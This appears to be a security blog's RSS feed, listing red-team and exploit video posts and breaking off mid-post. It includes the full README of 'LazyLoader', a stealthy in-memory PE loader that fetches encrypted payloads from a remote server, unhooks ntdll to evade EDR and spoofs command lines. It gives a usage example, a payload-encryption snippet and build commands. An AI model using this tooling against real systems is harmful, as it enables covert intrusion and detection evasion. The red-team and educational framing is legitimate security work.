<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" version="2.0"><channel><title>Gris is Come BaCK</title><description>Una puerta hacia el pasillo mental </description><managingEditor>noreply@blogger.com (GrisUNO)</managingEditor><pubDate>Wed, 27 May 2026 13:55:14 -0700</pubDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">254</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">25</openSearch:itemsPerPage><link>http://grisunder.blogspot.com/</link><language>en-us</language><item><title>BlackSerpentine  Python Beacon - Pure Python Cobalt Strike-like BOF Load...</title><link>http://grisunder.blogspot.com/2025/11/blackserpentine-python-beacon-pure.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 15 Nov 2025 12:44:05 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-6248805996952428510</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/dniaczo4pZ0?si=nTLVfx3pvgjSGTlP" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/dniaczo4pZ0/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Desgranando el Exploit - RTCore64 Privilege Escalation Technique</title><link>http://grisunder.blogspot.com/2025/11/desgranando-el-exploit-rtcore64.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Wed, 12 Nov 2025 18:54:23 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-4965932028456523194</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/xmqOmNs--7Q?si=Am2ZpfeWW_tDccDX" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/xmqOmNs--7Q/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>¿Un Código para la Conciencia?</title><link>http://grisunder.blogspot.com/2025/11/un-codigo-para-la-conciencia.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Tue, 11 Nov 2025 14:40:03 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-5802870430831995942</guid><description>&lt;iframe style="background-image:url(https://i.ytimg.com/vi/X38KAxz7ZFw/hqdefault.jpg)"  width="480" height="270" src="https://youtube.com/embed/X38KAxz7ZFw?si=qAfVD-FYZ70p-xKU" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/X38KAxz7ZFw/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Arquitectura moderna del control, percibida como un sistema totalizado, ...</title><link>http://grisunder.blogspot.com/2025/11/arquitectura-moderna-del-control.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 8 Nov 2025 17:10:00 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-471767710398777146</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/CSQgeEAx73U?si=s8oDMIwGaGee5aoi" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/CSQgeEAx73U/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Una Teoría del Todo como Teoría de Representaciones Coherentes en E8</title><link>http://grisunder.blogspot.com/2025/11/una-teoria-del-todo-como-teoria-de.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Fri, 7 Nov 2025 20:26:13 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-7794071658834849656</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/_HPNq2mhnoQ?si=hjfQyfNz_W8Q35NL" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/_HPNq2mhnoQ/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Hackeando un controlador gráfico: Cómo un solo número codificado provoca...</title><link>http://grisunder.blogspot.com/2025/11/hackeando-un-controlador-grafico-como.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Thu, 6 Nov 2025 18:54:16 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-560202883047839355</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/btOKiHV_j3s?si=IB83StWkxsMUchrW" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/btOKiHV_j3s/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Descifrando un Dispositivo "Propietario": Lecciones de Crear un Driver p...</title><link>http://grisunder.blogspot.com/2025/10/descifrando-un-dispositivo-propietario.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Tue, 28 Oct 2025 19:14:14 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-1836207813693604705</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/B-IGbW3kUiE?si=skRIkazPo4PfBpCy" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/B-IGbW3kUiE/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Resucitando el Hardware, Ingeniería inversa a la Audiobox 22 VSL y un nu...</title><link>http://grisunder.blogspot.com/2025/10/resucitando-el-hardware-ingenieria.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Mon, 27 Oct 2025 18:02:04 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-6993535887549098301</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/Mu1XLfVS9uA?si=fMu96ftLCNx0Or7Y" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/Mu1XLfVS9uA/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Liberating Hardware - VSL-DSP New driver on the hood - Presonus AudioBox...</title><link>http://grisunder.blogspot.com/2025/10/liberating-hardware-vsl-dsp-new-driver.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Mon, 27 Oct 2025 17:48:19 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-5920313468328197433</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/kgp6gi6jVZU?si=VrSPvicuLGFcNiuz" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/kgp6gi6jVZU/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Gopher 2.0 La Búsqueda de la Simplicidad en un Mundo Conectado</title><link>http://grisunder.blogspot.com/2025/10/gopher-20-la-busqueda-de-la-simplicidad.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sun, 26 Oct 2025 17:55:01 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-1611414594306307010</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/rOWuOgCh284?si=NhD29Tbjo5xPqDie" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/rOWuOgCh284/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>La BIBLIA ETÍOPE Revela lo que Jesús Dijo a sus Discípulos Después de su...</title><link>http://grisunder.blogspot.com/2025/10/la-biblia-etiope-revela-lo-que-jesus.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 25 Oct 2025 15:35:26 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-4521006657091572961</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/3WMdySS3TI4?si=ZAYKBK9pAVn7mMJv" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/3WMdySS3TI4/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>The LazyLoader Trilogy, Part III: When Your PE Gets a One-Way Ticket to ...</title><link>http://grisunder.blogspot.com/2025/10/the-lazyloader-trilogy-part-iii-when.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Thu, 16 Oct 2025 19:38:04 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-1734898435941697899</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/d1EsbGPv__s?si=CkVI4FcQ0QN7uE5W" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/d1EsbGPv__s/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>When Your Beacon Decides to Open a Cyber Café in Your Process Heap (And ...</title><link>http://grisunder.blogspot.com/2025/09/when-your-beacon-decides-to-open-cyber.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sun, 28 Sep 2025 20:34:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-7488681111032180049</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/hlm8m4xt8po?si=aLcjOBD4mu681fdX" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/hlm8m4xt8po/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 55 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/09/day-55-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 27 Sep 2025 14:26:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-206422204112554109</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/1XaaYcsX_4c?si=Kl3bgyGp22c_A2QF" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/1XaaYcsX_4c/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 53 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/09/day-53-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Mon, 22 Sep 2025 18:00:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-5970465783588358135</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/c29Y5uJs5VU?si=rT9NFVBGiJB2mQTa" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/c29Y5uJs5VU/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 52 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/09/day-52-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sun, 21 Sep 2025 19:55:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-5042130270934282546</guid><description>&lt;iframe frameborder="0" height="270" src="https://youtube.com/embed/A23o35TXVkg?si=RrwkBqQhRyD3nCO5" width="480"&gt;&lt;/iframe&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;# &#129422; LazyLoader — Stealthy Reflective PE Loader for Windows ᘛ⁐̤ᕐᐷ&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;lt;img width="1024" height="1024" alt="image" src="https://github.com/user-attachments/assets/f4cc6e4e-65fc-44f9-b2f8-3228e3876d06" /&amp;gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Disclaimer: This tool is intended for educational purposes and authorized red team operations only. Do not use on systems you do not own or have explicit permission to test.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#129513; Overview&lt;/div&gt;&lt;div&gt;LazyLoader is a sophisticated, in-memory Windows PE (Portable Executable) loader that:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Downloads an AES-256 encrypted PE file and its decryption key from a remote HTTP server.&lt;/div&gt;&lt;div&gt;- Decrypts the payload in memory using Windows CryptoAPI.&lt;/div&gt;&lt;div&gt;- Reflectively maps and relocates the PE into the current process.&lt;/div&gt;&lt;div&gt;- Repairs the Import Address Table (IAT) with optional API hooking to spoof command-line arguments and prevent process exit.&lt;/div&gt;&lt;div&gt;- Executes the payload in a new thread.&lt;/div&gt;&lt;div&gt;- Optionally unhooks ntdll.dll by restoring its .text section from a clean process (e.g., notepad.exe) to evade EDR/userland hooks.&lt;/div&gt;&lt;div&gt;- Designed for stealth, LazyLoader leaves no trace on disk and hides its execution context from command-line inspection tools.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;lt;img width="1218" height="450" alt="image" src="https://github.com/user-attachments/assets/b7c17134-fdfb-4806-9c1e-1e1a098c475b" /&amp;gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## ⚙️ Features&lt;/div&gt;&lt;div&gt;- ✅ Remote Payload Fetching&lt;/div&gt;&lt;div&gt;Uses WinHTTP to securely download encrypted PE and key files from a remote server.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## ✅ AES-256 Decryption&lt;/div&gt;&lt;div&gt;- Leverages Windows CryptAcquireContext, CryptCreateHash, and CryptDecrypt for secure in-memory decryption.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;lt;img width="1219" height="181" alt="image" src="https://github.com/user-attachments/assets/9c3b89a2-d87d-464e-a865-49eca5afc7b8" /&amp;gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## ✅ Reflective PE Loading&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Parses PE headers and sections.&lt;/div&gt;&lt;div&gt;- Allocates memory at preferred or relocated base.&lt;/div&gt;&lt;div&gt;- Copies headers and sections.&lt;/div&gt;&lt;div&gt;- Repairs IAT with dynamic GetProcAddress.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## ✅ Command-Line Masquerading&lt;/div&gt;&lt;div&gt;Spoofs:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- GetCommandLineA/W&lt;/div&gt;&lt;div&gt;- __p___argv&lt;/div&gt;&lt;div&gt;- __p___wargv&lt;/div&gt;&lt;div&gt;- __p___argc&lt;/div&gt;&lt;div&gt;- __getmainargs&lt;/div&gt;&lt;div&gt;- __wgetmainargs&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Prevents detection via process argument inspection.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- ✅ **Exit Function Hooking**&lt;/div&gt;&lt;div&gt;Hooks exit, _exit, ExitProcess, etc., to redirect termination to ExitThread(0) — keeping the host process alive.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- ✅ **EDR Evasion via NTDLL Unhooking**&lt;/div&gt;&lt;div&gt;Optionally spawns a suspended notepad.exe, reads clean ntdll.dll from its memory, and restores hooked .text sections in the current process.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- ✅ **No Disk Artifacts**&lt;/div&gt;&lt;div&gt;Everything runs in memory — no temporary files written.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#128640; Usage&lt;/div&gt;&lt;div&gt;```cmd&lt;/div&gt;&lt;div&gt;LazyLoader.exe &amp;lt;Host&amp;gt; &amp;lt;Port&amp;gt; &amp;lt;EncryptedPEPath&amp;gt; &amp;lt;KeyPath&amp;gt;&lt;/div&gt;&lt;div&gt;```&lt;/div&gt;&lt;div&gt;### Example&lt;/div&gt;&lt;div&gt;```cmd&lt;/div&gt;&lt;div&gt;LazyLoader.exe 192.168.1.100 8080 /evil.bin /key.bin&lt;/div&gt;&lt;div&gt;```&lt;/div&gt;&lt;div&gt;### This will:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Connect to http://192.168.1.100:8080/evil.bin and download the encrypted payload.&lt;/div&gt;&lt;div&gt;- Download the key from http://192.168.1.100:8080/key.bin.&lt;/div&gt;&lt;div&gt;- Decrypt the payload using AES-256.&lt;/div&gt;&lt;div&gt;- Spoof command-line to appear as "whatEver".&lt;/div&gt;&lt;div&gt;- Load and execute the PE reflectively.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#128272; Encryption Requirements&lt;/div&gt;&lt;div&gt;The payload must be encrypted with AES-256 in ECB mode (or compatible with Windows CryptDecrypt defaults).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Example Python encryption snippet:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;```python&lt;/div&gt;&lt;div&gt;from Crypto.Cipher import AES&lt;/div&gt;&lt;div&gt;import hashlib&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;key = b"your-32-byte-key-here-------------"&amp;nbsp; # Must be 32 bytes&lt;/div&gt;&lt;div&gt;data = open("payload.bin", "rb").read()&lt;/div&gt;&lt;div&gt;cipher = AES.new(key, AES.MODE_ECB)&lt;/div&gt;&lt;div&gt;encrypted = cipher.encrypt(data.ljust((len(data) // 16 + 1) * 16, b'\x00'))&amp;nbsp; # PKCS#7-style padding&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;with open("evil.bin", "wb") as f:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; f.write(encrypted)&lt;/div&gt;&lt;div&gt;```&lt;/div&gt;&lt;div&gt;## &#128269; Notes:&amp;nbsp;&lt;/div&gt;&lt;div&gt;- LazyLoader uses SHA-256 to hash the key file contents before deriving the AES key — ensure your encryption matches this behavior.&lt;/div&gt;&lt;div&gt;- I only translate to C from C++ ( https://github.com/d1rkmtrr/FilelessPELoader/ ), because i like more C xd, and to learn, and this version compile in linux :D&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#129514; Compilation&lt;/div&gt;&lt;div&gt;Requirements&lt;/div&gt;&lt;div&gt;x86_64-w64-mingw32-gcc&lt;/div&gt;&lt;div&gt;Libraries: WinHttp, Crypt32, Psapi&lt;/div&gt;&lt;div&gt;Build with x86_64-w64-mingw32-gcc&lt;/div&gt;&lt;div&gt;cmd&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;x86_64-w64-mingw32-gcc -o loader.exe main.c -lwinhttp -lcrypt32 -lpsapi&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#128737;️ Detection Evasion Techniques&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;### LoadLibrary&lt;/div&gt;&lt;div&gt;— avoids module enumeration.&lt;/div&gt;&lt;div&gt;IAT Repair + Hooking&lt;/div&gt;&lt;div&gt;Spoofs command-line and argv to hide true intent.&lt;/div&gt;&lt;div&gt;Exit Hooking&lt;/div&gt;&lt;div&gt;Redirects&lt;/div&gt;&lt;div&gt;ExitProcess&lt;/div&gt;&lt;div&gt;to&lt;/div&gt;&lt;div&gt;ExitThread&lt;/div&gt;&lt;div&gt;— host process stays alive.&lt;/div&gt;&lt;div&gt;NTDLL Unhooking&lt;/div&gt;&lt;div&gt;Restores clean&lt;/div&gt;&lt;div&gt;.text&lt;/div&gt;&lt;div&gt;from external process — defeats userland hooks.&lt;/div&gt;&lt;div&gt;No Disk Writes&lt;/div&gt;&lt;div&gt;Entire execution is memory-resident.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#128220; License GPLv3&lt;/div&gt;&lt;div&gt;Educational &amp;amp; Red Team Use Only. Not for malicious exploitation.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## &#128236; Contact / Contribution&lt;/div&gt;&lt;div&gt;For bugs, suggestions, or contributions — open an issue or submit a PR.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Author: grisun0 - LazyOwn RedTeam&lt;/div&gt;&lt;div&gt;- Version: release/v0.0.1&lt;/div&gt;&lt;div&gt;- Year: 2025&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;## ⚠️ Legal Notice&lt;/div&gt;&lt;div&gt;This software is for authorized penetration testing and research purposes only. Misuse of this tool can result in criminal prosecution. The author(s) assume no liability and are not responsible for any misuse or damage caused by this program.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;✅ Stay LazyOwn. Stay Stealthy.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;![Python](https://img.shields.io/badge/python-3670A0?style=for-the-badge&amp;amp;logo=python&amp;amp;logoColor=ffdd54) ![Shell Script](https://img.shields.io/badge/shell_script-%23121011.svg?style=for-the-badge&amp;amp;logo=gnu-bash&amp;amp;logoColor=white) ![Flask](https://img.shields.io/badge/flask-%23000.svg?style=for-the-badge&amp;amp;logo=flask&amp;amp;logoColor=white) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/A23o35TXVkg/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 49 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/08/day-49-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Sat, 23 Aug 2025 18:16:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-7546179646264171483</guid><description>&lt;iframe width="480" height="270" src="https://youtube.com/embed/5G2Ww-MHaUM?si=k3eZgRP3UpaavUB1" frameborder="0"&gt;&lt;/iframe&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/5G2Ww-MHaUM/default.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Day 47 of 365: Mastering Pentesting with LazyOwn RedTeam - Daily Command...</title><link>http://grisunder.blogspot.com/2025/08/day-47-of-365-mastering-pentesting-with.html</link><author>noreply@blogger.com (GrisUNO)</author><pubDate>Wed, 13 Aug 2025 16:06:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-7336339339378216046.post-3004481110339286272</guid><description>&lt;iframe frameborder="0" height="270" src="https://youtube.com/embed/geMEpjAcKIE?si=8x-lzDnM83NZsmhf" width="480"&gt;&lt;/iframe&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="2977" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/a/AVvXsEirS4eO3-LK_vPHk5rMnirq-lcqFCRVbgA-Q4RxYeVd8_U3Nw0KdK0rFqd0-huVwsGN4IilEKOfSJ4Zfib274dd9TNoDsGZdGp3ZFhVDgtDLCkzZYQw6MkBtLOPI0ArBsniF-4wmaDGHwBnYieDA7lLWYUAn5qA4ffNcbLSn01uZXHycEPCS1CgN1Lpy2o" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="" data-original-height="1100" data-original-width="1100" height="240" src="https://blogger.googleusercontent.com/img/a/AVvXsEirS4eO3-LK_vPHk5rMnirq-lcqFCRVbgA-Q4RxYeVd8_U3Nw0KdK0rFqd0-huVwsGN4IilEKOfSJ4Zfib274dd9TNoDsGZdGp3ZFhVDgtDLCkzZYQw6MkBtLOPI0ArBsniF-4wmaDGHwBnYieDA7lLWYUAn5qA4ffNcbLSn01uZXHycEPCS1CgN1Lpy2o" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&amp;gt; By: grisun0, White Hat Blogger &amp;amp; Chief Overthinker of Suspiciously Suspended Threads&lt;br style="box-sizing: inherit;" /&gt;&lt;em class="na" style="box-sizing: inherit;"&gt;5 min read · Probably posted at 3 AM because sleep is for the weak and the non-redteam&lt;/em&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote class="nb nc nd" style="background-color: white; box-shadow: rgb(36, 36, 36) 3px 0px 0px 0px inset; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 0px 0px 0px -20px; padding-left: 23px;"&gt;&lt;p class="mc md na me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="d07a" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; font-style: italic; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;&lt;span class="fr" style="box-sizing: inherit; font-style: normal;"&gt;“The best way to be ninja is to inject into a calc.”&lt;br style="box-sizing: inherit;" /&gt;—&amp;nbsp;&lt;/span&gt;grisun0 (probably xd)&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="3399" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Let’s cut the fluff.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="2d74" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;If you’re reading this, you’re either:&lt;/p&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); 